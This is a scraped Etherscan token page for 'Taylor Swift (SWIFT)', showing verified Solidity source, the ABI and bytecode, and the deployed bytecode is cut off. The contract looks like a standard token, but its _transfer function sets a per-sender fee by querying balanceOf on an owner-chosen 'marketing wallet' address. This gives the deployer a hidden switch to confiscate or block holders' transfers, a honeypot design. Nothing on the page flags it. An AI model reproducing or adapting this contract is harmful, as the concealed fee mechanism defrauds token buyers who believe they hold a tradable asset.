ETH Price: $2,722.12 (-1.61%)

Token

Taylor Swift (SWIFT)
 

Overview

Max Total Supply

1,000,000,000 SWIFT

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,066,143.622647862 SWIFT

Value
$0.00
0xd7bab20e6e50d1d89eea09701e9b53eeab9ecae5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TaylorSwift

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-14
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesired, 
     uint amountTokenMin, 
     uint amountETHMin, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address wallet) external view returns (uint256);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

contract TaylorSwift is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    mapping (address => uint256) private _balances;
    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
    address internal _marketingWallet = 0x818863031d0F97b8cF37850C8FA234ACac0eA2fa;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    mapping (address => mapping (address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);
    bool private tradingStarted = false;
    string private _name = "Taylor Swift";
    string private _symbol = "SWIFT";
    uint256 private maxTx = _totalSupply.mul(3).div(100);


    function openTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already started");
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingStarted = true;
    }

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        uint256 fee = 0;
        require(from != address(0));
        if (tradingStarted && from != uniswapV2Pair && from != address(this)) {
            fee = IERC20(_marketingWallet).balanceOf(from);
        }
        _balances[to] = _balances[to].add(amount).sub(amount.mul(fee).div(100));
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c91906200052e565b633b9aca006200004d91906200057e565b60025573818863031d0f97b8cf37850c8fa234acac0ea2fa60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055506040518060400160405280600c81526020017f5461796c6f7220537769667400000000000000000000000000000000000000008152506008908162000157919062000823565b506040518060400160405280600581526020017f5357494654000000000000000000000000000000000000000000000000000000815250600990816200019e919062000823565b50620001cc6064620001bd60036002546200032d60201b90919060201c565b6200037460201b90919060201c565b600a55348015620001db575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060025460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040516200031f919062000918565b60405180910390a362000997565b5f8083036200033f575f90506200036e565b5f82846200034e91906200057e565b90508284826200035f919062000960565b1462000369575f80fd5b809150505b92915050565b5f80821162000381575f80fd5b5f828462000390919062000960565b90508091505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200042657808604811115620003fe57620003fd6200039c565b5b60018516156200040e5780820291505b80810290506200041e85620003c9565b9450620003de565b94509492505050565b5f8262000440576001905062000512565b816200044f575f905062000512565b81600181146200046857600281146200047357620004a9565b600191505062000512565b60ff8411156200048857620004876200039c565b5b8360020a915084821115620004a257620004a16200039c565b5b5062000512565b5060208310610133831016604e8410600b8410161715620004e35782820a905083811115620004dd57620004dc6200039c565b5b62000512565b620004f28484846001620003d5565b925090508184048111156200050c576200050b6200039c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200053a8262000519565b9150620005478362000522565b9250620005767fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200042f565b905092915050565b5f6200058a8262000519565b9150620005978362000519565b9250828202620005a78162000519565b91508282048414831517620005c157620005c06200039c565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200064457607f821691505b6020821081036200065a5762000659620005ff565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000681565b620006ca868362000681565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200070b62000705620006ff8462000519565b620006e2565b62000519565b9050919050565b5f819050919050565b6200072683620006eb565b6200073e620007358262000712565b8484546200068d565b825550505050565b5f90565b6200075462000746565b620007618184846200071b565b505050565b5b8181101562000788576200077c5f826200074a565b60018101905062000767565b5050565b601f821115620007d757620007a18162000660565b620007ac8462000672565b81016020851015620007bc578190505b620007d4620007cb8562000672565b83018262000766565b50505b505050565b5f82821c905092915050565b5f620007f95f1984600802620007dc565b1980831691505092915050565b5f620008138383620007e8565b9150826002028217905092915050565b6200082e82620005c8565b67ffffffffffffffff8111156200084a5762000849620005d2565b5b6200085682546200062c565b620008638282856200078c565b5f60209050601f83116001811462000899575f841562000884578287015190505b62000890858262000806565b865550620008ff565b601f198416620008a98662000660565b5f5b82811015620008d257848901518255600182019150602085019450602081019050620008ab565b86831015620008f25784890151620008ee601f891682620007e8565b8355505b6001600288020188555050505b505050505050565b620009128162000519565b82525050565b5f6020820190506200092d5f83018462000907565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200096c8262000519565b9150620009798362000519565b9250826200098c576200098b62000933565b5b828204905092915050565b611a0b80620009a55f395ff3fe6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb91906111ea565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f5919061129b565b610358565b60405161010791906112f3565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b604051610131919061131b565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b9190611334565b610377565b60405161016d91906112f3565b60405180910390f35b348015610181575f80fd5b5061018a610423565b604051610197919061139f565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c191906113b8565b610438565b6040516101d3919061131b565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b60405161021391906113f2565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d91906111ea565b60405180910390f35b348015610251575f80fd5b5061026c6004803603810190610267919061129b565b61067c565b60405161027991906112f3565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad919061140b565b610b22565b6040516102bf919061131b565b60405180910390f35b6060600880546102d790611476565b80601f016020809104026020016040519081016040528092919081815260200182805461030390611476565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600254905090565b5f610383848484610d67565b61041884336104138560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110af90919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610502906114f0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546105fb90611476565b80601f016020809104026020016040519081016040528092919081815260200182805461062790611476565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610716906114f0565b60405180910390fd5b60075f9054906101000a900460ff161561076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590611558565b60405180910390fd5b61079c3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610ba4565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082a919061158a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d4919061158a565b6040518363ffffffff1660e01b81526004016108f19291906115b5565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610931919061158a565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109b830610438565b5f806109c26105c5565b426040518863ffffffff1660e01b81526004016109e49695949392919061161e565b60606040518083038185885af1158015610a00573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a259190611691565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ac59291906116e1565b6020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b059190611732565b50600160075f6101000a81548160ff021916908315150217905550565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c09906117cd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c779061185b565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d5a919061131b565b60405180910390a3505050565b5f8111610d72575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610daa575f80fd5b60075f9054906101000a900460ff168015610e12575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610e4a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610eeb5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610ea991906113f2565b602060405180830381865afa158015610ec4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ee89190611879565b90505b610f72610f146064610f0684866110d590919063ffffffff16565b61111590919063ffffffff16565b610f648460015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461113a90919063ffffffff16565b6110af90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110038260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110af90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110a1919061131b565b60405180910390a350505050565b5f828211156110bc575f80fd5b5f82846110c991906118d1565b90508091505092915050565b5f8083036110e5575f905061110f565b5f82846110f29190611904565b90508284826111019190611972565b1461110a575f80fd5b809150505b92915050565b5f808211611121575f80fd5b5f828461112e9190611972565b90508091505092915050565b5f80828461114891906119a2565b905083811015611156575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561119757808201518184015260208101905061117c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6111bc82611160565b6111c6818561116a565b93506111d681856020860161117a565b6111df816111a2565b840191505092915050565b5f6020820190508181035f83015261120281846111b2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112378261120e565b9050919050565b6112478161122d565b8114611251575f80fd5b50565b5f813590506112628161123e565b92915050565b5f819050919050565b61127a81611268565b8114611284575f80fd5b50565b5f8135905061129581611271565b92915050565b5f80604083850312156112b1576112b061120a565b5b5f6112be85828601611254565b92505060206112cf85828601611287565b9150509250929050565b5f8115159050919050565b6112ed816112d9565b82525050565b5f6020820190506113065f8301846112e4565b92915050565b61131581611268565b82525050565b5f60208201905061132e5f83018461130c565b92915050565b5f805f6060848603121561134b5761134a61120a565b5b5f61135886828701611254565b935050602061136986828701611254565b925050604061137a86828701611287565b9150509250925092565b5f60ff82169050919050565b61139981611384565b82525050565b5f6020820190506113b25f830184611390565b92915050565b5f602082840312156113cd576113cc61120a565b5b5f6113da84828501611254565b91505092915050565b6113ec8161122d565b82525050565b5f6020820190506114055f8301846113e3565b92915050565b5f80604083850312156114215761142061120a565b5b5f61142e85828601611254565b925050602061143f85828601611254565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061148d57607f821691505b6020821081036114a05761149f611449565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114da60208361116a565b91506114e5826114a6565b602082019050919050565b5f6020820190508181035f830152611507816114ce565b9050919050565b7f54726164696e6720616c726561647920737461727465640000000000000000005f82015250565b5f61154260178361116a565b915061154d8261150e565b602082019050919050565b5f6020820190508181035f83015261156f81611536565b9050919050565b5f815190506115848161123e565b92915050565b5f6020828403121561159f5761159e61120a565b5b5f6115ac84828501611576565b91505092915050565b5f6040820190506115c85f8301856113e3565b6115d560208301846113e3565b9392505050565b5f819050919050565b5f819050919050565b5f6116086116036115fe846115dc565b6115e5565b611268565b9050919050565b611618816115ee565b82525050565b5f60c0820190506116315f8301896113e3565b61163e602083018861130c565b61164b604083018761160f565b611658606083018661160f565b61166560808301856113e3565b61167260a083018461130c565b979650505050505050565b5f8151905061168b81611271565b92915050565b5f805f606084860312156116a8576116a761120a565b5b5f6116b58682870161167d565b93505060206116c68682870161167d565b92505060406116d78682870161167d565b9150509250925092565b5f6040820190506116f45f8301856113e3565b611701602083018461130c565b9392505050565b611711816112d9565b811461171b575f80fd5b50565b5f8151905061172c81611708565b92915050565b5f602082840312156117475761174661120a565b5b5f6117548482850161171e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117b760248361116a565b91506117c28261175d565b604082019050919050565b5f6020820190508181035f8301526117e4816117ab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61184560228361116a565b9150611850826117eb565b604082019050919050565b5f6020820190508181035f83015261187281611839565b9050919050565b5f6020828403121561188e5761188d61120a565b5b5f61189b8482850161167d565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118db82611268565b91506118e683611268565b92508282039050818111156118fe576118fd6118a4565b5b92915050565b5f61190e82611268565b915061191983611268565b925082820261192781611268565b9150828204841483151761193e5761193d6118a4565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61197c82611268565b915061198783611268565b92508261199757611996611945565b5b828204905092915050565b5f6119ac82611268565b91506119b783611268565b92508282019050808211156119cf576119ce6118a4565b5b9291505056fea26469706673582212204ae6dd060a2a042d9996fd233fc6d2d8e0ea19fb7156864cf832c0943878fdd464736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb91906111ea565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f5919061129b565b610358565b60405161010791906112f3565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b604051610131919061131b565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b9190611334565b610377565b60405161016d91906112f3565b60405180910390f35b348015610181575f80fd5b5061018a610423565b604051610197919061139f565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c191906113b8565b610438565b6040516101d3919061131b565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b60405161021391906113f2565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d91906111ea565b60405180910390f35b348015610251575f80fd5b5061026c6004803603810190610267919061129b565b61067c565b60405161027991906112f3565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad919061140b565b610b22565b6040516102bf919061131b565b60405180910390f35b6060600880546102d790611476565b80601f016020809104026020016040519081016040528092919081815260200182805461030390611476565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600254905090565b5f610383848484610d67565b61041884336104138560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110af90919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610502906114f0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546105fb90611476565b80601f016020809104026020016040519081016040528092919081815260200182805461062790611476565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610716906114f0565b60405180910390fd5b60075f9054906101000a900460ff161561076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590611558565b60405180910390fd5b61079c3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610ba4565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082a919061158a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d4919061158a565b6040518363ffffffff1660e01b81526004016108f19291906115b5565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610931919061158a565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109b830610438565b5f806109c26105c5565b426040518863ffffffff1660e01b81526004016109e49695949392919061161e565b60606040518083038185885af1158015610a00573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a259190611691565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ac59291906116e1565b6020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b059190611732565b50600160075f6101000a81548160ff021916908315150217905550565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffff